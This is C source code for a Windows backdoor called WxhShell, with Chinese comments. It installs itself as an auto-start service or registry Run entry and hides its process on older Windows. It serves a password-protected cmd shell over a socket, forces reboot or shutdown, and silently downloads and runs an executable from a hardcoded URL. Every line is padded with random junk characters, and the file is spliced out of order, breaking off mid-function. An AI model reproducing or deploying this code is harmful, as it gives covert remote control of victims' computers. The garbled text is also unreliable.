    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }1]!#yMfq  
    if(Boot(SHUTDOWN)) OgXZ-<'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oA;jy  
    else { H@2v<e@  
    closesocket(wsh); V1`5D7Z  
    ExitThread(0); 'hlB;z|T  
    } c_G-R+  
    break; Jh&~/ntmm_  
    } L_~I ~  
  // 获取shell e}R2J `7  
  case 's': { @x=BJuUuX  
    CmdShell(wsh); bmO__1  
    closesocket(wsh); 3KG)6)1*  
    ExitThread(0); 4ljvoJ}xjr  
    break; ]\a\6&R  
  } B) *#g  
  // 退出 }&(E#*>x  
  case 'x': { h#@4@x{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :%uyy5AZ  
    CloseIt(wsh); 64!ame}n+  
    break; W\>^[c/  
    } HhWwc#B  
  // 离开 ?|">),  
  case 'q': { 4VmCW"b7h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )"_Ff,9Z!  
    closesocket(wsh); #U$YZ#B  
    WSACleanup(); X&9^&U=e  
    exit(1); b>bgUDq  
    break; Ql q#Zdru  
        } W. J:.|kt  
  } b 5F4+  
  } %;<k(5bhGJ  
j$|j8?  
  // 提示信息 Lz9$,Y[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Q_)>|R2  
} Pe$^Mo.q  
  } L,L ~ .E  
r;cI}'  
  return; m6_~`)R8  
} #}/cM2m  
QDjW!BsX3  
// shell模块句柄 C,|nmlDN  
int CmdShell(SOCKET sock) yhSk"e'G  
{ -[zdX}x.:  
STARTUPINFO si; c YM CfP  
ZeroMemory(&si,sizeof(si)); 5U-p'c9IC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]^*_F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QH7V_#6bKP  
PROCESS_INFORMATION ProcessInfo; Jb3>vCIn  
char cmdline[]="cmd";  ko=aa5c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vz;7} Zj]  
  return 0; A*\o c  
} a%Z4_ToLZ  
IS,zy+w  
// 自身启动模式 DnNt@e2|  
int StartFromService(void) j}rgO z.  
{ XlPK3^'N)h  
typedef struct N+\oFbE  
{ `7QvwXsH]  
  DWORD ExitStatus; ~^lH ^J   
  DWORD PebBaseAddress; $z2 xZqe  
  DWORD AffinityMask; Q$xa  
  DWORD BasePriority; n0+g]|a AF  
  ULONG UniqueProcessId; g[#k.CuP  
  ULONG InheritedFromUniqueProcessId; 9tzoris[~  
}   PROCESS_BASIC_INFORMATION; nd$H 3sf  
iUeV5cB  
PROCNTQSIP NtQueryInformationProcess; RNv{n mf  
Iz6ss(UJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U8-Q'1IT&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jh37pI  
vF9*tK'   
  HANDLE             hProcess; g(-;_j!=  
  PROCESS_BASIC_INFORMATION pbi; Ci]'G>F@"  
t MxsR >sH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F5FNhuC  
  if(NULL == hInst ) return 0; Zz"I.$$[M  
Rro?q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x r-;,W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _7Xd|\Zc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z $9@j2  
t[]['Iosd  
  if (!NtQueryInformationProcess) return 0; `Mg8]H~  
Tg"' pO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]LEoOdDN"C  
  if(!hProcess) return 0; 6uu^A9x  
^y&q5p jj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;\<""Yj@l  
\p5|}<Sr)  
  CloseHandle(hProcess); zb"rMzCH  
SQh+5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :d;[DYFLxb  
if(hProcess==NULL) return 0; 69t7=r  
!OPSSP]-  
HMODULE hMod; ,9=gVW{  
char procName[255]; >%9^%p^  
unsigned long cbNeeded; J?._/RL8-  
qq OxTG]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AI&qU/}  
\bU`  
  CloseHandle(hProcess); Qo'yS"g<9)  
! G*&4V3Mg  
if(strstr(procName,"services")) return 1; // 以服务启动 1S+;ZMk  
>F/XZ C  
  return 0; // 注册表启动 x1t{SQ-C  
} {/-y>sm  
j_!bT!8  
// 主模块 }TSgAwsbC  
int StartWxhshell(LPSTR lpCmdLine) MVeF e\r  
{ F(d:t!  
  SOCKET wsl; PXV)NC  
BOOL val=TRUE; ETM2p1 ru0  
  int port=0; K@q&HV"'.  
  struct sockaddr_in door; :~vxZ*a  
bAdiA2VF'  
  if(wscfg.ws_autoins) Install();  ci`zR9Ks  
n%F-cw  
port=atoi(lpCmdLine); py]KTRzy  
lwVk(l Z  
if(port<=0) port=wscfg.ws_port; i*X{^A73"  
Y^ QKp"  
  WSADATA data; As0 B\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F7\BF  
Tak t_N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N5m'To]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (VR" Mi4  
  door.sin_family = AF_INET; cI2Fpf`2Wj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ovo/!YJ2  
  door.sin_port = htons(port); 5QAdcEcN@O  
0Y7$d`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B1E$v(P3M  
closesocket(wsl); '0Lov]L  
return 1; nt=x]wEC  
} Vr 8:nP:  
M~als3  
  if(listen(wsl,2) == INVALID_SOCKET) { RoX &+~  
closesocket(wsl); RL6Vkd?  
return 1; 4AQ[igTDP  
} ZI,j?i6\  
  Wxhshell(wsl); y`4{!CEyLW  
  WSACleanup(); ;>DHD*3X  
 }<=3W5+  
return 0; W]_g4,T>  
rOW;yJ[  
} Kv}k*A% S  
%4,xx'`  
// 以NT服务方式启动 e8oKn&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f e|g3>/|  
{ >:2}V]/ ;  
DWORD   status = 0; $0#6"urG  
  DWORD   specificError = 0xfffffff; h}h^L+4  
t)} \9^Uo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |=O1Hn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R"Kz!NTB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L x.jrF|&  
  serviceStatus.dwWin32ExitCode     = 0; '99@=3AB:`  
  serviceStatus.dwServiceSpecificExitCode = 0; \QGa 4_#  
  serviceStatus.dwCheckPoint       = 0; .Rvf/-e  
  serviceStatus.dwWaitHint       = 0; ll%G!VR  
i E9\_MA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h$pk<<  
  if (hServiceStatusHandle==0) return; TiyUr [  
fJy)STQ4  
status = GetLastError(); !{(ls<  
  if (status!=NO_ERROR) `a >?UUT4  
{ +%XnMl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y@3Q;~l,  
    serviceStatus.dwCheckPoint       = 0; ePEe?o4;  
    serviceStatus.dwWaitHint       = 0; :m K xa  
    serviceStatus.dwWin32ExitCode     = status; Me,<\rQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; !MoOKW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T`\]!>eb  
    return; L+.H z&*@  
  } M\9F:.t=  
cvfUyp;P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IE;\7 r+h  
  serviceStatus.dwCheckPoint       = 0; Qs l80~n_7  
  serviceStatus.dwWaitHint       = 0; |n`PESf_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &RW`W)0;  
} 2bLI%gg3  
r+S;B[Vd  
// 处理NT服务事件,比如:启动、停止 @}DFp`~5|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WL U}  
{ PO o%^'(  
switch(fdwControl) g*y/j]  
{ z]=8eV\  
case SERVICE_CONTROL_STOP: v L}T~_=3  
  serviceStatus.dwWin32ExitCode = 0; |9IC/C!HC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^H3m\!h  
  serviceStatus.dwCheckPoint   = 0; vk'rA{x  
  serviceStatus.dwWaitHint     = 0; Nqc p1J"  
  { @h}`DNaZ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g1{/ 5{XI  
  } AbfZ++aJ  
  return; *5D3vB*S  
case SERVICE_CONTROL_PAUSE: &RO7{,`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g)R1ObpZ  
  break; ?pG/m%[  
case SERVICE_CONTROL_CONTINUE: ,mKObMu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; | -+zofx  
  break; Ur!~<4GO  
case SERVICE_CONTROL_INTERROGATE: h5GU9M  
  break; wL3,g2-L  
}; z%sy$^v@vD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L:@fP~Erh  
} @AQwr#R"l  
x2W#ROfg  
// 标准应用程序主函数 ;>>C)c4V"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rs]I  
{ (=c1  
gU;&$  
// 获取操作系统版本 3t" 4TjAy  
OsIsNt=GetOsVer(); 6 BAW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pC(sS0J  
;ME)Og  
  // 从命令行安装 ~OypE4./1  
  if(strpbrk(lpCmdLine,"iI")) Install(); >jTp6tu,  
<9eu1^g  
  // 下载执行文件 zT#`qCbT'J  
if(wscfg.ws_downexe) { nidr\oFUIn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0* F}o)n/m  
  WinExec(wscfg.ws_filenam,SW_HIDE); sKL:p3r  
} $,27pkwHeW  
f.6~x$:)`E  
if(!OsIsNt) { }6]0hWsN[  
// 如果时win9x,隐藏进程并且设置为注册表启动 73F5d/n  
HideProc(); Y)|N"f;  
StartWxhshell(lpCmdLine); .`p&ATg v  
} {5j66QFoo  
else fex,z%}p  
  if(StartFromService()) -VT+O+9_A  
  // 以服务方式启动 ig+4S[L~n  
  StartServiceCtrlDispatcher(DispatchTable); [[+ pMI  
else w>e s  
  // 普通方式启动 igC_)C^i>  
  StartWxhshell(lpCmdLine); c#cx>wq9  
k)7{Y9_No  
return 0; X}A'Cg0y  
} V/%~F6e  
V diJ>d[  
#FH[hRo=6  
"r'ozf2 \  
=========================================== s?C&s|'.  
@xAfZb2E  
Z`Z5sj 4{  
-{jdn%Y7CK  
1AD]v<M  
Jxl6a:  
" r ?m6$  
R 9 4^4I  
#include <stdio.h> I)SG wt-  
#include <string.h> z(13~38+  
#include <windows.h> wvby?MhPY  
#include <winsock2.h> z rfUQO  
#include <winsvc.h> O7G"sT1Dv  
#include <urlmon.h> kcuzB+  
=E*Gb[r_7  
#pragma comment (lib, "Ws2_32.lib") Y.6SOu5$]  
#pragma comment (lib, "urlmon.lib") u bW]-U=T  
xTz%nx  
#define MAX_USER   100 // 最大客户端连接数 W!L+(!&H  
#define BUF_SOCK   200 // sock buffer g(4bBa9y  
#define KEY_BUFF   255 // 输入 buffer n/4i|-^  
mY7>(M{  
#define REBOOT     0   // 重启 qxOi>v0\H  
#define SHUTDOWN   1   // 关机 [1yq{n=  
0JjUAxNq  
#define DEF_PORT   5000 // 监听端口 v6=-g$FG  
R[B?C;+(O  
#define REG_LEN     16   // 注册表键长度 <wd]D@l7r  
#define SVC_LEN     80   // NT服务名长度 K9Hqq7"%  
sW@krBxMv  
// 从dll定义API 6<76H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aHzHvl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b;cMl'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E%N2k|%8d_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zZ-\a[F  
o4y']JSN  
// wxhshell配置信息 ~FU@wV^   
struct WSCFG { d^E [|w ;  
  int ws_port;         // 监听端口 4,p;Km&  
  char ws_passstr[REG_LEN]; // 口令 V ~{fB~  
  int ws_autoins;       // 安装标记, 1=yes 0=no DGESba\2+  
  char ws_regname[REG_LEN]; // 注册表键名  ;q>9W,jy  
  char ws_svcname[REG_LEN]; // 服务名 zCaT tb|@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XzIx:J6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =n(3o$r(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TI|/u$SJ<Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PJ4(}a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @~td`Z?1 y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *Mc7f?H  
w8Sv*K  
}; \*t~==WB  
_ QOZ sEe  
// default Wxhshell configuration $.%rAa_H  
struct WSCFG wscfg={DEF_PORT, Fg]?zEa  
    "xuhuanlingzhe", sBX-X$*N  
    1, I0'WOV70  
    "Wxhshell", ]b?9zeT*'l  
    "Wxhshell", @C_KV0i  
            "WxhShell Service", ZJW[?V\5=  
    "Wrsky Windows CmdShell Service", >/$Fh:R-  
    "Please Input Your Password: ", e.d #wyeX  
  1, bpAv1udX-W  
  "http://www.wrsky.com/wxhshell.exe", W!Gdf^Yy<  
  "Wxhshell.exe" (.Y/  
    }; rh*sbZ68>E  
1Tp/MV/>  
// 消息定义模块 K>:]Bx#F7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k;W@LfP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OHr Y(I6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZD/jX_!t  
char *msg_ws_ext="\n\rExit."; +0wT!DZW\=  
char *msg_ws_end="\n\rQuit."; l\0w;:N3  
char *msg_ws_boot="\n\rReboot..."; HvwYm.$zE  
char *msg_ws_poff="\n\rShutdown..."; `mfq 2bVc  
char *msg_ws_down="\n\rSave to "; /UcV  
iSLGwTdLn  
char *msg_ws_err="\n\rErr!"; zw<p74DH  
char *msg_ws_ok="\n\rOK!"; Ga>uFb}W~  
ZzGahtx)Y  
char ExeFile[MAX_PATH]; y m,H@~  
int nUser = 0; iRo.RU8>  
HANDLE handles[MAX_USER]; ;h=*!7:  
int OsIsNt; k*rZ*sSp  
Cs3^9m6;d  
SERVICE_STATUS       serviceStatus; y;cUl, :v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zdl%iop3e  
= {'pUU  
// 函数声明 3\O|ii  
int Install(void); .jw}JJ  
int Uninstall(void); {]*x*aa\  
int DownloadFile(char *sURL, SOCKET wsh); rHge~nY<  
int Boot(int flag); J@pb[OL,  
void HideProc(void); ( lm&*tKm  
int GetOsVer(void);  +ECDD'^!  
int Wxhshell(SOCKET wsl); _Q%vK*n  
void TalkWithClient(void *cs); ^g1f X1  
int CmdShell(SOCKET sock); S{]7C?4`  
int StartFromService(void); u9woEe?  
int StartWxhshell(LPSTR lpCmdLine); Jq.lT(E8D  
O=cxNy-I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,fDEz9-,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `^JJ&)4iv  
n"PJ,ao  
// 数据结构和表定义 EI>6Nh  
SERVICE_TABLE_ENTRY DispatchTable[] = %=we `&  
{ Z7rJ}VP  
{wscfg.ws_svcname, NTServiceMain}, o{b=9-V  
{NULL, NULL} ]M>9ULQ  
}; N]EcEM#  
1LJuCI=~  
// 自我安装 gJiK+&8I  
int Install(void) -$VZte x  
{ ?^mi3VM  
  char svExeFile[MAX_PATH]; `nXVE+E@  
  HKEY key;  MTER(L  
  strcpy(svExeFile,ExeFile); )5j;KI%t  
>KLtY|o)  
// 如果是win9x系统,修改注册表设为自启动 AUVgPXOwd  
if(!OsIsNt) { qW:)!z3\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G|w=ez  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , ^F)L|  
  RegCloseKey(key); PP~rn fE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0_P}z3(M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); anw}w !@U  
  RegCloseKey(key); #PDf,^  
  return 0; HjqB^|z  
    } )0vU k  
  } _\PNr.D 8  
} o}Odw;  
else { -4w=s|#.\  
PjT=$]  
// 如果是NT以上系统,安装为系统服务 .roqEasu8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H7U li]e3  
if (schSCManager!=0) p^nL&yIW,%  
{ E9|eu\  
  SC_HANDLE schService = CreateService n,HE0Zn]Y_  
  ( OH^N" L  
  schSCManager, l.\re"Q  
  wscfg.ws_svcname, ECdvX0*a  
  wscfg.ws_svcdisp, 1aVa0q<  
  SERVICE_ALL_ACCESS, J`q]6qf#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q-Ux<#  
  SERVICE_AUTO_START, \l"&A  
  SERVICE_ERROR_NORMAL, %<?0apO  
  svExeFile, 9`jcC-;iv  
  NULL, - K%,^6  
  NULL, k%wn0Erd  
  NULL, Xtz-\v#0o'  
  NULL, x83 !C}4:  
  NULL Nw&!}#m  
  ); h mx= 35  
  if (schService!=0) <H1 `  
  { n,eJ$2!J  
  CloseServiceHandle(schService); YSJy`  
  CloseServiceHandle(schSCManager); F/m^?{==~*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -LDCBc"  
  strcat(svExeFile,wscfg.ws_svcname); *#%9Rp2|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PkE5|d*,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SvN9aD1  
  RegCloseKey(key); _LAS~x7,  
  return 0; HkV1sT  
    } IX: 25CEI2  
  } 2)#K+O3c  
  CloseServiceHandle(schSCManager); ms($9Lv/  
} ~^u16z,  
} Wk:hFHs3  
^JI o? R  
return 1; i,V;xB2  
} nJRS.xs  
mS#zraJn5  
// 自我卸载 ccCzu6  
int Uninstall(void) H/M Au7  
{ Z3k(P  
  HKEY key; /vY_Y3k#  
Zh5RwQNE~  
if(!OsIsNt) { p~ C.IG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VL[R(a6c <  
  RegDeleteValue(key,wscfg.ws_regname); -/_L*oYli  
  RegCloseKey(key); AC O)Dt(Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GV)<Q^9  
  RegDeleteValue(key,wscfg.ws_regname); A^ _a3$,0  
  RegCloseKey(key); KbL V' %D  
  return 0; jENr>$$  
  } O8|5KpXd@  
} M3p   
} hS[ yNwD  
else { t1VH doNN  
2^t#6XBk/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +(xeT+J  
if (schSCManager!=0) -p-B2?)A  
{ `X,yM-(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rC:?l(8ng3  
  if (schService!=0) L,d LE-L  
  { TI9UXa:V\  
  if(DeleteService(schService)!=0) { <<D$+@wxm  
  CloseServiceHandle(schService); =n^!VXaL]]  
  CloseServiceHandle(schSCManager); c4_`Ew^k  
  return 0; TF2>4 p  
  } 2=?tJ2E  
  CloseServiceHandle(schService); @ S<-d  
  } 8 #ndFpu  
  CloseServiceHandle(schSCManager); LPG`^SA  
} %{3 aW>yx  
} awv De  
ZKg{0DY  
return 1; ^xf<nNF:p  
} )}TLC 2%  
h._nK\  
// 从指定url下载文件 k{gLMl  
int DownloadFile(char *sURL, SOCKET wsh) C^ Q tSha  
{ 9}B`uJ  
  HRESULT hr; /(O$(35  
char seps[]= "/";  g PAX4'  
char *token; {;2vmx9  
char *file; ]"c+sMW  
char myURL[MAX_PATH]; h^ -. ]Y  
char myFILE[MAX_PATH]; 2+Px'U\  
jBaB@LO9G  
strcpy(myURL,sURL); !*2%"H*  
  token=strtok(myURL,seps); dd?x(,"A`  
  while(token!=NULL) 0y&I/2  
  { {lth+{&L#  
    file=token; `mye}L2I  
  token=strtok(NULL,seps); CG'.:` t  
  } lpH=2l$>?  
Ro2d,'   
GetCurrentDirectory(MAX_PATH,myFILE); `%3 /   
strcat(myFILE, "\\"); DK0.R]&4(  
strcat(myFILE, file); 7bxA]s{m  
  send(wsh,myFILE,strlen(myFILE),0); \A `hj~  
send(wsh,"...",3,0); JT fd#g?I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X(jVRr_m9  
  if(hr==S_OK) /ywD{*  
return 0; sH[ -W-  
else I\qYkWg7  
return 1; K[chjp!$l  
pT?Q#,fh  
} g%u&Zkevx  
56 l@a{  
// 系统电源模块 "P)*FT  
int Boot(int flag) 2oJb)CB  
{ ^-FRTC  
  HANDLE hToken; |[9?ma  
  TOKEN_PRIVILEGES tkp; &C>/L;  
6<0n *&  
  if(OsIsNt) { ;n\= R 5.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y!6/[<r$~k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s4_/&h  
    tkp.PrivilegeCount = 1; N_L,]QT?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  p!Eft/A(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vzF5xp.  
if(flag==REBOOT) { rbT)=-(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p;?*}xa  
  return 0; d--y  
} x.1-)\  
else { !ZDzEP*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m\/ Tj0e  
  return 0; O4<g%.HC6  
} a?yMHb{F  
  } @|a>&~xX  
  else { v#=`%]mL  
if(flag==REBOOT) { ~x{.jn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {_RWVVVe  
  return 0; E,n}HiAz7V  
} ]d[ge6  
else { KRJLxNr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [OOS`N4<  
  return 0; B*htN  
} R(j1n,c]  
} D@EO=08<b  
,Ma.V\T[  
return 1; Y32O-I!9u  
} 4/ X/>Y1  
vd`}/~o  
// win9x进程隐藏模块 @H!$[m3  
void HideProc(void) g<*BLF  
{ E{HY!L[  
EkT."K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5unG#szq  
  if ( hKernel != NULL ) g~UUP4<$"  
  { 4h6k`ie!$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7?OH,^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `RMI(zI3g.  
    FreeLibrary(hKernel); DoC(Z)o  
  } >pkT1Z&'  
3Rm#-T s  
return; d2X[(3  
} [<`SfE  
|%~+2m  
// 获取操作系统版本 D 71;&G]0  
int GetOsVer(void) (h']a!  
{ IPuA#C  
  OSVERSIONINFO winfo; `P Xz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wOB azWa   
  GetVersionEx(&winfo); {%w!@-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bYe;b><G  
  return 1; Oo?,fw  
  else 4E44Hzs  
  return 0; Y+/JsOD  
} D .vw8H3  
E2GGEKrW  
// 客户端句柄模块 iAY!oZR(WT  
int Wxhshell(SOCKET wsl) yV)m"j  
{ K; FW  
  SOCKET wsh; <lr*ZSNY  
  struct sockaddr_in client; H7i$xWs  
  DWORD myID; k {-  
H1!iP$1#V  
  while(nUser<MAX_USER) SM[Bv9|0  
{ HxK$4I`  
  int nSize=sizeof(client); 9*6]&:fm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \qsw"B*tv`  
  if(wsh==INVALID_SOCKET) return 1; dBO@6*N4c  
VC5_v62&.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %tA57Pn>  
if(handles[nUser]==0) U=bEA1*@0  
  closesocket(wsh); eMK+X \  
else TG n-7 88  
  nUser++; VcK}2<8:+~  
  } ^ 4%Zvl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N__H*yP  
0"pVT%b  
  return 0; _F p>F  
} OPpjuIRv  
DjMf,wX-{  
// 关闭 socket (Lh#`L?x  
void CloseIt(SOCKET wsh) s!/TU{8J  
{ I[o*RKT'"  
closesocket(wsh); ctQbp~-  
nUser--; O!D/|.Q#%  
ExitThread(0); u% 2<\:~j  
} ]L2Oz  
elJ)4Em  
// 客户端请求句柄 2EQ 6J  
void TalkWithClient(void *cs) 0;sRJ  
{ 8GJdRL(  
a )*6gf<5  
  SOCKET wsh=(SOCKET)cs; 3*DXE9gA9  
  char pwd[SVC_LEN]; ^GN8V-X4y  
  char cmd[KEY_BUFF]; QbYc[8-[  
char chr[1]; /Tz85 [%6  
int i,j; `n!viW|tB  
\(I6_a_{  
  while (nUser < MAX_USER) { Z.Rb~n&  
c*\<,n_  
if(wscfg.ws_passstr) { b7C e%Br  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9?+9UlJ7K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mzL[/B#>M  
  //ZeroMemory(pwd,KEY_BUFF); ]O:M$ $  
      i=0; ps1YQ3Ep&  
  while(i<SVC_LEN) { jW*1E *"  
:ZdUx  
  // 设置超时 ~Pk0u{,4XQ  
  fd_set FdRead; 4yMW^:@  
  struct timeval TimeOut; ?_6YtR,{  
  FD_ZERO(&FdRead); =fc: 6JR  
  FD_SET(wsh,&FdRead); ^ L:cjY/  
  TimeOut.tv_sec=8; zH)_vW  
  TimeOut.tv_usec=0; 9-*NW0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~Y5l+EF#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "oJ(J{Jat  
dOa!htx]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S_J :&9L  
  pwd=chr[0]; "YFls#4H-  
  if(chr[0]==0xd || chr[0]==0xa) { h?@G$%2  
  pwd=0; )tZ`K |  
  break; 3bC yTZk  
  } }{7e7tW6  
  i++; @%tXFizh  
    } q5 &Ci`  
OKuD"   
  // 如果是非法用户,关闭 socket HgJb4Fi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'TN)Lb*  
} "5DJu ~  
V7CoZnz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vTr34n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A,i()R'I  
 vfvlB[  
while(1) { <FFJzNc+  
cErI%v}v0  
  ZeroMemory(cmd,KEY_BUFF); O]u",J5  
7r{qJ7$%  
      // 自动支持客户端 telnet标准   kL{;.WsB  
  j=0; 4dhqLVgL{  
  while(j<KEY_BUFF) { lhn8^hOJ/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  :,]S}R  
  cmd[j]=chr[0]; +KK$0pL  
  if(chr[0]==0xa || chr[0]==0xd) { ayp b  
  cmd[j]=0; 5P^U_  
  break; _&{%Wc5W~F  
  } D\L!F6taS  
  j++; |:iEfi]j  
    } ~P1_BD(  
!oSLl.fQd  
  // 下载文件 4-4?IwS  
  if(strstr(cmd,"http://")) { H;vZm[\0N-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QrjDF>   
  if(DownloadFile(cmd,wsh)) i3V/`)iz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hw_o w?  
  else ^^Lj I  
